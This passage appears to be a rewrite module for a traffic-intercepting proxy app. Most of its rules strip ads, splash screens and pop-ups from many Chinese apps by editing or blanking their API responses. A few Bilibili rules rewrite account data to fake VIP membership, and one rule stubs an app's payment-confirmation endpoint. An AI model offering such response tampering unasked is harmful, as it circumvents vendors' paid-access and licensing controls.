map(if (.style | startswith("tip")) or (.module_id | IN(241, 1283, 1441, 1284)) then .items = [] elif .style | startswith("banner") then .items |= if . then map(select(.link | contains("play"))) else [] end elif .style | startswith("function") then .items |= if . then map(select(.blink | startswith("bilibili"))) else [] end end) end' +http-response-jq ^https:\/\/api\.live\.bilibili\.com\/xlive\/(?:app-interface\/v2\/index\/feed|app-room\/v1\/index\/getInfoBy(?:Room|User))\? '.data |= (del(.play_together_info, .play_together_info_v2, .activity_banner_info) | if .function_card then .function_card[] = null end | if .new_tab_info.outer_list then .new_tab_info.outer_list |= map(select(.biz_id != 33)) end | if .card_list then .card_list |= map(select(.card_type | IN("banner_v2", "activity_card_v1") | not)) end | reduce ([["show_reserve_status"], false], [["reserve_info", "show_reserve_status"], false], [["shopping_info", "is_show"], 0]) as [$path, $value] (.; if getpath($path) then setpath($path; $value) end))' +http-response-jq ^https:\/\/app\.bilibili\.com\/x\/resource\/show\/skin\? 'delpaths([["data","common_equip"]])' +http-response-jq ^https:\/\/app\.bilibili\.com\/x\/resource\/show\/tab\/v2\? '.data.tab = [ { pos: 1, id: 731, name: "\u76F4\u64AD", tab_id: "\u76F4\u64ADtab", uri: "bilibili://live/home" }, { pos: 2, id: 477, name: "\u63A8\u8350", tab_id: "\u63A8\u8350tab", uri: "bilibili://pegasus/promo", default_selected: 1 }, { pos: 3, id: 478, name: "\u70ED\u95E8", tab_id: "\u70ED\u95E8tab", uri: "bilibili://pegasus/hottopic" }, { pos: 4, id: 545, name: "\u52A8\u753B", tab_id: "bangumi", uri: "bilibili://pgc/home" }, { pos: 5, id: 151, name: "\u5F71\u89C6", tab_id: "film", uri: "bilibili://pgc/cinema-tab" } ] | .data.top = [ { pos: 1, id: 176, name: "\u6D88\u606F", tab_id: "\u6D88\u606FTop", uri: "bilibili://link/im_home", icon: "http://i0.hdslb.com/bfs/archive/d43047538e72c9ed8fd8e4e34415fbe3a4f632cb.png" } ] | .data.bottom = [ { pos: 1, id: 177, name: "\u9996\u9875", tab_id: "home", uri: "bilibili://main/home/", icon: "http://i0.hdslb.com/bfs/archive/63d7ee88d471786c1af45af86e8cb7f607edf91b.png", icon_selected: "http://i0.hdslb.com/bfs/archive/e5106aa688dc729e7f0eafcbb80317feb54a43bd.png" }, { pos: 2, id: 179, name: "\u52A8\u6001", tab_id: "dynamic", uri: "bilibili://following/home/", icon: "http://i0.hdslb.com/bfs/archive/86dfbe5fa32f11a8588b9ae0fccb77d3c27cedf6.png", icon_selected: "http://i0.hdslb.com/bfs/archive/25b658e1f6b6da57eecba328556101dbdcb4b53f.png" }, { pos: 5, id: 181, name: "\u6211\u7684", tab_id: "\u6211\u7684Bottom", uri: "bilibili://user_center/", icon: "http://i0.hdslb.com/bfs/archive/4b0b2c49ffeb4f0c2e6a4cceebeef0aab1c53fe1.png", icon_selected: "http://i0.hdslb.com/bfs/archive/a54a8009116cb896e64ef14dcf50e5cade401e00.png" } ] ' +http-response-jq ^https:\/\/app\.bilibili\.com\/x\/v2\/splash\/(?:list|show|event\/list2)\? '.data |= with_entries(if .key | IN("show", "event_list") then .value = [] else . end)' +http-response-jq ^https:\/\/app\.bilibili\.com\/x\/v2\/feed\/index\? 'if .data.items then .data.items |= map(select((.banner_item == null) and (.ad_info == null) and (.card_goto == "av") and (.card_type | IN("small_cover_v2", "large_cover_single_v9", "large_cover_v1")))) end' +http-response-jq ^https:\/\/app\.bilibili\.com\/x\/v2\/feed\/index\/story\? 'if .data.items then .data.items |= map(select((.ad_info == null) and (.card_goto | startswith("ad") | not)) | del(.story_cart_icon, .free_flow_toast)) end' +http-response-jq ^https:\/\/app\.bilibili\.com\/x\/v2\/account\/mine(?:\/ipad)?\? '.data |= ( del(.answer, .live_tip, .vip_section, .vip_section_v2, .modular_vip_section) | .vip_type = 2 | .vip |= if . != null and .status == 0 then . + { status: 1, type: 2, due_date: 9005270400000, role: 15 } else . end | if .sections_v2 then .sections_v2 = [ { "items": [ { "id": 396, "title": "离线缓存", "uri": "bilibili://user_center/download", "icon": "http://i0.hdslb.com/bfs/archive/5fc84565ab73e716d20cd2f65e0e1de9495d56f8.png", "common_op_item": {} }, { "id": 397, "title": "历史记录", "uri": "bilibili://user_center/history", "icon": "http://i0.hdslb.com/bfs/archive/8385323c6acde52e9cd52514ae13c8b9481c1a16.png", "common_op_item": {} }, { "id": 3072, "title": "我的收藏", "uri": "bilibili://user_center/favourite?version=2", "icon": "http://i0.hdslb.com/bfs/archive/d79b19d983067a1b91614e830a7100c05204a821.png", "common_op_item": {} }, { "id": 2830, "title": "稍后再看", "uri": "bilibili://user_center/watch_later_v2", "icon": "http://i0.hdslb.com/bfs/archive/63bb768caa02a68cb566a838f6f2415f0d1d02d6.png", "need_login": 1, "common_op_item": {} } ], "style": 1, "button": {} }, { "title": "推荐服务", "items": [ { "id": 402, "title": "个性装扮", "uri": "https://www.bilibili.com/h5/mall/home?navhide=1&f_source=shop&from=myservice", "icon": "http://i0.hdslb.com/bfs/archive/0bcad10661b50f583969b5a188c12e5f0731628c.png", "common_op_item": {} }, { "id": 622, "title": "会员购", "uri": "bilibili://mall/home", "icon": "http://i0.hdslb.com/bfs/archive/19c794f01def1a267b894be84427d6a8f67081a9.png", "common_op_item": {} }, { "id": 404, "title": "我的钱包", "uri": "bilibili://bilipay/mine_wallet", "icon": "http://i0.hdslb.com/bfs/archive/f416634e361824e74a855332b6ff14e2e7c2e082.png", "common_op_item": {} }, { "id": 406, "title": "我的直播", "uri": "bilibili://user_center/live_center", "icon": "http://i0.hdslb.com/bfs/archive/1db5791746a0112890b77a0236baf263d71ecb27.png", "common_op_item": {}, } ], "style": 1, "button": {} }, { "title": "更多服务", "items": [ { "id": 407, "title": "联系客服", "uri": "bilibili://user_center/feedback", "icon": "http://i0.hdslb.com/bfs/archive/7ca840cf1d887a45ee1ef441ab57845bf26ef5fa.png", "common_op_item": {} }, { "id": 410, "title": "设置", "uri": "bilibili://user_center/setting", "icon": "http://i0.hdslb.com/bfs/archive/e932404f2ee62e075a772920019e9fbdb4b5656a.png", "common_op_item": {} } ], "style": 2, "button": {} } ] end | if .ipad_sections then .ipad_sections = [ { "id": 747, "title": "离线缓存", "uri": "bilibili://user_center/download", "icon": "http://i0.hdslb.com/bfs/feed-admin/9bd72251f7366c491cfe78818d453455473a9678.png", "mng_resource": { "icon_id": 0, "icon": "" } }, { "id": 748, "title": "历史记录", "uri": "bilibili://user_center/history", "icon": "http://i0.hdslb.com/bfs/feed-admin/83862e10685f34e16a10cfe1f89dbd7b2884d272.png", "mng_resource": { "icon_id": 0, "icon": "" } }, { "id": 749, "title": "我的收藏", "uri": "bilibili://user_center/favourite", "icon": "http://i0.hdslb.com/bfs/feed-admin/6ae7eff6af627590fc4ed80c905e9e0a6f0e8188.png", "mng_resource": { "icon_id": 0, "icon": "" } }, { "id": 750, "title": "稍后再看", "uri": "bilibili://user_center/watch_later", "icon": "http://i0.hdslb.com/bfs/feed-admin/928ba9f559b02129e51993efc8afe95014edec94.png", "mng_resource": { "icon_id": 0, "icon": "" } } ] end | if .ipad_upper_sections then .ipad_upper_sections = [ { "id": 752, "title": "创作首页", "uri": "/uper/homevc", "icon": "http://i0.hdslb.com/bfs/feed-admin/d20dfed3b403c895506b1c92ecd5874abb700c01.png", "mng_resource": { "icon_id": 0, "icon": "" } } ] end | if .ipad_recommend_sections then .ipad_recommend_sections = [ { "id": 755, "title": "我的关注", "uri": "bilibili://user_center/myfollows", "icon": "http://i0.hdslb.com/bfs/feed-admin/fdd7f676030c6996d36763a078442a210fc5a8c0.png", "mng_resource": { "icon_id": 0, "icon": "" } }, { "id": 756, "title": "我的消息", "uri": "bilibili://link/im_home", "icon": "http://i0.hdslb.com/bfs/feed-admin/e1471740130a08a48b02a4ab29ed9d5f2281e3bf.png", "mng_resource": { "icon_id": 0, "icon": "" } } ] end | if .ipad_more_sections then .ipad_more_sections = [ { "id": 763, "title": "我的客服", "uri": "bilibili://user_center/feedback", "icon": "http://i0.hdslb.com/bfs/feed-admin/7801a6180fb67cf5f8ee05a66a4668e49fb38788.png", "mng_resource": { "icon_id": 0, "icon": "" } }, { "id": 764, "title": "设置", "uri": "bilibili://user_center/setting", "icon": "http://i0.hdslb.com/bfs/feed-admin/34e8faea00b3dd78977266b58d77398b0ac9410b.png", "mng_resource": { "icon_id": 0, "icon": "" } } ] end ) ' +http-response-jq ^https:\/\/app\.bilibili\.com\/x\/v2\/account\/myinfo\? '.data.vip |= if . != null and .status == 0 then . + { status: 1, type: 2, due_date: 9005270400000, role: 15 } else . end' +http-response ^https?:\/\/beta-api\.crunchyroll\.com\/cms offset_ms":\d+ offset_ms":99999999999999 +http-response ^https?:\/\/adservice\.sigmob\.cn\/extconfig false true +http-response ^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/newDetails suspension fmz200 +http-response ^https?:\/\/47\.100\.65\.202\/api\/mobile\/index\.php\?version=\d&mobile=yes&module=basicdata&type=forumlist adv fmz200 +http-response ^https?:\/\/www\.i3zh\.com cm-pop-up-banners fmz200 +http-response ^https?:\/\/yunbusiness\.ccb\.com\/basic_service\/txCtrl\? "TAG_AD_INFO" "fmz200" +http-response ^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.venus\.shopresourceservice\.getshopresource posterList fmz200 +http-response ^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=lite_advertising jdLiteAdvertisingVO fmz200 +http-response ^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=lite_SmartPush pushData fmz200 +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adsplash"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adIsConsumable"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adProductId"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["nologin_tips"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["index_banner"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["me_banner"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["index_banner_shadow"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adshongbao"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adsapp_homepage_ticket_pop"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adsoptimizationsend"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adsapp_activity_ad_array"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adbanner"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adposition"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do$ 'delpaths([["adShowAgainTime"]])' +http-response-jq ^https?:\/\/p\.kuaidi100\.com\/apicenter\/xcx\.dox 'delpaths([["data","secondMenuList"]])' +http-response-jq http:\/\/dili.sqcosmos.com\/jiekou\/mains\/p\d+.html '.album |= map(select(.id != "4154" and .id != "4165"))' +http-response ^https?:\/\/mobile\.yangkeduo\.com\/proxy\/api\/api\/express\/post\/waybill\/red_packet\/goods_list$ "list":\[.+\] "list":[] +http-response-jq ^https:\/\/beta-luna\.douyin\.com\/luna\/card\? 'if (getpath(["card_items",0]) | has("priority_display")) then (setpath(["card_items",0,"priority_display"]; false)) else . end' +http-response-jq ^https:\/\/beta-luna\.douyin\.com\/luna\/card\? 'if (getpath(["card_items",0]) | has("is_show")) then (setpath(["card_items",0,"is_show"]; false)) else . end' +http-response-jq ^https:\/\/beta-luna\.douyin\.com\/luna\/card\? 'if (getpath([]) | has("preview_guide")) then (setpath(["preview_guide"]; null)) else . end' +http-response-jq ^https:\/\/beta-luna\.douyin\.com\/luna\/more-panel\? 'delpaths([["blocks",1]])' +http-response ^https?:\/\/dyncdn\.me\/static\/\d{0,2}\/js\/showads\.js$ true false +http-response ^https?:\/\/capi\.lkcoffee\.com\/resource\/m\/sys\/app\/adposNew \{.+\} {"status":"SUCCESS"} +http-response ^https?:\/\/m\.lkcoffee\.com\/ecapi\/resource\/m\/member\/exchange\/page \{.+\} {"status":"SUCCESS"} +http-response ^https?:\/\/m\.lkcoffee\.com\/capi\/resource\/m\/growUp\/main "popTitle":".+?" "popTitle":"" +http-response-jq ^https://www\.tailgdd\.com/v8/smart/app/config/get$ 'if (getpath([]) | has("data")) then (setpath(["data"]; {})) else . end' +http-response ^https?:\/\/tft-app\.cdtft\.cn\/gateway-customer\/tftapp\/tft-ams\/api\/appAd officialAdvertResultVo fmz200 +http-response ^https?:\/\/chl\.tf\.cn\/channelmg\/sys\/socso\/order\/queryOrderInfo "imgUrl" response-body +http-response ^https?:\/\/client\.tujia\.com\/bnbapp-node\/app\/portal\/getportalconfig\/bnb\/v2 "banners":\[.+\], "banners":[], +http-response ^https?:\/\/misc-api-prd-mx\.wandafilm\.com\/commend\/common_banner_batch\.api\?bannerInfos=%5B%7B%22cinemaI "WX_index_mp-&-boxAD" "fmz200" +http-response ^https?:\/\/mp\.weixin\.qq\.com\/mp\/getappmsgad advertisement fmz200 +http-response-jq ^https:\/\/app-conf\.ds\.163\.com\/v\d\/app\/base\/conf\/static\/start-config\? 'delpaths([["result","updateConfig",2,"itemList",94,"itemList",2]])' +http-response ^https?:\/\/lcen\.xiaote\.net\/api\/graphql screenSplashAd fmz200 +http-response-jq http:\/\/.+\.gamersky.com/.+/lists/getListElements '.listElements |= map(select(has("adCategory") | not))' +http-response ^https:\/\/api\.zhihu\.com\/search\/recommend_query\/v2\? "recommend_queries":\{.+\} "recommend_queries":{} +http-response ^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzinfoshow\/getfeedflowinfo\? userRed fmz200 +http-response ^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzinfoshow\/getchoicegoodsinfos infoData fmz200 +http-response-jq ^https?:\/\/portal\.zjzwfw\.gov\.cn\/app_api\/appHome\/selectStartPic 'if (getpath([]) | has("data")) then (setpath(["data"]; {})) else . end' +http-response ^https?:\/\/app-izz\.zhengzhou\.gov\.cn:10019\/bizgw\/gateway\.do "imgUrl19_5x9":".+?" "imgUrl19_5x9":"" + +[Map Local] +# 底下百家号广告 感谢【 🐈‍⬛👮】分享 +^http?:\/\/tianqi\.2345\.com\/api\/content\/getContentFeeds\.php data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 感谢【别怕我又不乱来】分享 +^https?:\/\/ad\.life\.360\.cn\/v2\/app\/advertisement\/config\?sdk_ver= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = vip7.fzwdyy.cn, *.qyfxgd.cn, *.weilai555.com, *.ecoliving168.com +^https?:\/\/vip7\.fzwdyy\.cn:8083\/api\/(getAdvertInfo|getGOOGAdvert) data-type=text data=" " status-code=200 + +# hostname = api.u51.com +^https?:\/\/api\.u51\.com\/(generic-config-gateway|rs-resys)\/api\/v\d\/(creditpage-config|recommend) data-type=text data=" " status-code=200 + +# hostname = *.58cdn.com.cn, app.58.com +^https?:\/\/.+?\.58cdn\.com\.cn\/brandads\/ data-type=text data=" " status-code=200 + +^https?:\/\/app\.58\.com\/api\/home\/invite\/popupAdv data-type=text data=" " status-code=200 + +# hostname = acs.m.taobao.com, heic.alicdn.com, guide-acs.m.taobao.com, poplayer.template.alibaba.com +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.fliggy\.crm\.screen\.(allresource|predict) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alibaba\.advertisementservice\.getadv data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.queryadvertise data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.o2o\.ad\.gateway\.get data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.taobao\.idle\.home\.welcome data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/heic\.alicdn\.com\/imgextra\/i\d\/\d*\/?[\w!]+-\d-(octopus|tps-1125-1602|tps-1080-1920)\.(jp|pn)g_(1\d{3}|9\d{2})x(1\d{3}|9\d{2})q[59]0 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.adx\.flyad\.getad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(volvo\.secondfloor\.getconfig|wireless\.home\.newface\.awesome\.get) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.alipan.com, member.alipan.com +^https:\/\/api\.alipan\.com\/adrive\/v1\/file\/getTopFolders data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/member\.alipan\.com\/v2\/activity\/sign_in_luckyBottle data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 播放页开通会员提示 +^https?:\/\/act\.vip\.iqiyi\.com\/interact\/api\/v2\/show\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 播放页多余动效 +^https?:\/\/iface2\.iqiyi\.com\/ivos\/interact\/video\/data\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 播放页升级白金会员按钮 +^https?:\/\/iface2\.iqiyi\.com\/video\/3\.0\/v_interface_proxy\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 青少年弹窗 +^https?:\/\/iface2\.iqiyi\.com\/views_pop\/3\.0\/pop_control\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = b2baifanfan.baidu.com +^https?:\/\/b2baifanfan\.baidu\.com\/crm\/web\/b2b\/im\/common\/getConfigByDeviceNum data-type=text data=" " status-code=200 + +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/pay/ok$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/mapi\.txcmapp\.com\/api\/open\/atx2\/ad\.php data-type=text data=" " status-code=200 + +# hostname = www.ahzs10000.com +^https?:\/\/www\.ahzs10000\.com\/palmhall\/client\/base\/newVerson_getStartUp\.action data-type=text data=" " status-code=200 + +# 开屏广告 +^https?:\/\/www\.onstar\.com\.cn\/mssos\/sos\/social\/v1\/community\/article\/page data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.shanghaionstar\.com\/sos\/contentinfo\/v1\/public\/landingpage data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 主页推荐直播 +^https?:\/\/social\.blued\.cn\/users\/recommend data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 未登录时个人界面广告 +^https?:\/\/social\.blued\.cn\/users\/no_auth\/benefit data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/www\.banyuetanapp\.com\/byt-api\/ad\/getAdvertList\?adSpaceId=100000002 data-type=text data=" " status-code=200 + +# hostname = aimg.babytreeimg.com, plough.babytree.com, mapiweb.babytree.com, go.babytree.com +^https?:\/\/aimg\.babytreeimg\.com\/group1\/M00\/*\/*\/.*.jpg data-type=text data=" " status-code=200 + +# 开屏广告 感谢【alist.choc.ga】分享 +^https?:\/\/plough\.babytree\.com\/plough\.do data-type=text data=" " status-code=200 + +# 弹窗广告 感谢【Ron】分享 +^https?:\/\/mapiweb\.babytree\.com\/newapi\/luban\/behavior\/receive data-type=text data=" " status-code=200 + +^https?:\/\/go\.babytree\.com\/go_pregnancy\/api\/index_activity\/get_app_index_activity data-type=text data=" " status-code=200 + +^https?:\/\/go\.babytree\.com\/go_tool\/api\/feeding_record\/get_home_banner_info data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = cdnmobibank.bankofbeijing.com.cn +^https?:\/\/cdnmobibank\.bankofbeijing\.com\.cn\/cdn\/MarketingCloud\/.+\/.+\/99_1\/.+\.jpg data-type=text data=" " status-code=200 + +# hostname = cdn-xyk-app.bankofbeijing.com.cn +^https?:\/\/cdn-xyk-app\.bankofbeijing\.com\.cn\/cdn\/resource\/image\/advertise data-type=text data=" " status-code=200 + +# hostname = dss0.bdstatic.com, tb1.bdstatic.com, tb2.bdstatic.com, ss0.bdstatic.com, gss0.bdstatic.com, newclient.map.baidu.com +^https?:\/\/dss0\.bdstatic\.com\/-0U0bnSm1A5BphGlnYG\/ data-type=text data=" " status-code=200 + +^https?:\/\/tb2\.bdstatic\.com\/tb\/mobile\/spb\/widget\/jump data-type=tiny-gif status-code=200 + +^https?:\/\/ss0\.bdstatic\.com/.+?_\d{3}_\d{4}\.jpg data-type=text data=" " status-code=200 + +^https?:\/\/gss0\.bdstatic\.com\/.+?\/static\/wiseindex\/img\/bd_red_packet\.png data-type=tiny-gif status-code=200 + +# 百度输入法开屏 +^https?:\/\/mime\.baidu\.com\/v5\/start_screen_ads/list data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 应用内灵感语录 输入页面推荐里语录 +^https?:\/\/mime\.baidu\.com\/sapi\/v1\/lccorpus\/(applist|pannellist) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 输入法点击图标 +^https?:\/\/mime\.baidu\.com\/sapi\/v1\/circle\/joinedlist data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/mime\.baidu\.com\/commer\/pocket_api\/enterprise_list data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/mbd\.baidu\.com\/ccs\/v1\/start\/confsync\?appname=baidu_input data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = appwk.baidu.com +^https?:\/\/appwk\.baidu\.com\/xpage\/interface\/wknaad data-type=text data=" " status-code=200 + +^https?:\/\/fcvbjbcebos\.baidu\.com\/.+?\.mp4 data-type=tiny-gif status-code=200 + +^https?:\/\/api\d\.tuisong\.baidu\.com data-type=tiny-gif status-code=200 + +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/guanggao\/ data-type=text data=" " status-code=200 + +^https?:\/\/[\s\S]*\.baidu\.com/.*?ad[xs]\.php data-type=tiny-gif status-code=200 + +^https?:\/\/t\d{2}\.baidu\.com data-type=tiny-gif status-code=200 + +^https?:\/\/sa\d\.tuisong\.baidu\.com data-type=tiny-gif status-code=200 + +# hostname = mres.aibank.com +^https?:\/\/mres\.aibank\.com\/app\/resource\/cim\/cim0000001\/.+\.jpg data-type=text data=" " status-code=200 + +# hostname = app.bilibili.com, api.bilibili.com, api.live.bilibili.com, grpc.biliapi.net +^https:\/\/api\.live\.bilibili\.com\/xlive\/e-commerce-interface\/v1\/ecommerce-user\/get_shopping_info\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = manga.bilibili.com, i*.hdslb.com +^https?:\/\/i\d\.hdslb\.com\/bfs\/fawkes data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/i\d\.hdslb\.com\/bfs\/manga-static\/\w+\.(jpg|png)$ data-type=text data=" " status-code=200 + +^https?:\/\/manga\.bilibili\.com\/twirp\/comic\.v\d\.Comic\/(Recommend|Flash|ListFlash|GetBubbles|GetActivityTab|GetCommonBanner|GetComicConfigPicList) data-type=text data=" " status-code=200 + +^https?:\/\/manga\.bilibili\.com\/twirp\/comic\.v\d\.Shop\/GetShopItems data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.SeasonV\d\/GetSeasonInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.Read\/ActInfo data-type=text data=" " status-code=200 + +# 首页开屏 +^https:\/\/cache\.bydauto\.com\.cn\/dilink_user_upload\/20 data-type=text data=" " status-code=200 + +# 开屏广告 +^https?:\/\/www\.(binance|yingwangtech)\.(com|info|net)\/bapi\/composite\/v1\/public\/market\/holiday-atmosphere data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.front\.AppAdvertisingFrontService\/getAppAdvertisingNew data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.bff\.ClientFrontFacade\/queryHomeMiddleInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.front\.AdvertiseConfigFrontService\/getAdvertiseConfigNew data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = res.pizzahut.com.cn +^https?:\/\/res\.pizzahut\.com\.cn\/CRM\/phad\/member\/app\/member data-type=text data=" " status-code=200 + +#(倒计时还在) +^https?:\/\/bp-image\.bestv\.com\.cn\/[a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{25}\.jpg data-type=text data=" " status-code=200 + +# 开屏广告 感谢【林夕】分享 +^https?:\/\/bd-api\.kuwo\.cn\/api\/service\/finds\/module\?moduleId data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/bd-api\.kuwo\.cn\/api\/service\/banner\/myPage\?uid data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/bd-api\.kuwo\.cn\/api\/play\/listening\/entrance\/music\?musicId data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/h5app\.kuwo\.cn\/m\/kwtemplatePage\/index\.html\?id=1157&app=bodianhdzx data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/h5app\.kuwo\.cn\/m\/bdvipact2205\/index\.html\?fromsrc=huodong data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/bodianimgcdn\.kuwo\.cn\/images\/0e83c1821cd2681de08e20bec73d1e75 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/bodianimgcdn\.kuwo\.cn\/images\/198c0b313fe9e53b03240c7b30b4acc9 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 记录 悬浮部件 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/page_float_bubbles\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 记录 发布 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/tool_buttons\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 记录 搜索发现 +^https:\/\/api\.boohee\.com\/app-interface\/v1\/search\/search\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 记录 消息 通知 横幅推广 +^https:\/\/status\.boohee\.com\/api\/v1\/merged_messages$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 弹窗配置 +^https:\/\/bohe\.sfo-tx-shanghai-01\.saas\.sensorsdata\.cn\/api\/v2\/sfo\/user_popup_configs\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 绑定设备 横幅推广 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/sensor-banners\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# > 彩云天气 +^https?:\/\/api\.caiyunapp\.com\/v1\/activity data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页 好物推荐,商品推广,底部标签页,快递详情页,问卷调查,主页图标 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.adkeyword\.get\.cn data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.cncommunity\.my\.station\.query\.cn data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.(batch\.show\.v2|index)\.cn data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbopen\.miniapp\.recommend\.cpc\.cn data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbmensa\.research\.researchservice\.(acquire|event|close)\.cn data-type=text data="{}" status-code=200 header="Content-Type:application/json" + 